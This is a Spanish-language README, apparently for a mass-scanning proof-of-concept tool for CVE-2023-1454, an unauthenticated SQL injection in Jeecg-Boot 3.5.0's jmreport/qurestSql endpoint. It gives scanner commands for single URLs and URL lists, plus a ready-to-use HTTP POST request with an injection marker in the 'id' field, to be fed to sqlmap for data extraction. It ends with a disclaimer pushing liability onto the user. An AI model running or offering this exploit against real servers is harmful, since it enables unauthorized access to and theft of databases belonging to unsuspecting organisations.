CVE-2023-1454

jmreport/qurestSql escaneo masivo de PoC para inyección SQL no autorizada

Jeecg-Boot es una plataforma de desarrollo rápido basada en Spring Boot y Jeecg-Boot-Plus. La versión más reciente, jeecg-boot 3.5.0, ha sido reportada con múltiples vulnerabilidades de inyección SQL.

Uso de la herramienta

python3 CVE-2023-1454-scan.py -u http://127.0.0.1:1111 Prueba de URL única

python3 CVE-2023-1454-scan.py -f url.txt Escaneo masivo

Al finalizar el escaneo, se generará un archivo vuln.txt en el directorio actual con las URL vulnerables.

PoC:

Exploit:

Guarde el paquete como un archivo txt y utilice sqlmap para obtener los datos.

POST /jeecg-boot/jmreport/qurestSql HTTP/1.1
Host: xxx.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2088.112 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json;charset=UTF-8
Content-Length: 129

{"apiSelectId":"1290104038414721025",
"id":"1*"}

Descargo de responsabilidad

Cualquier consecuencia o pérdida directa o indirecta causada por la difusión o uso de la información proporcionada en este documento es responsabilidad exclusiva del usuario. El autor no asume ninguna responsabilidad por ello.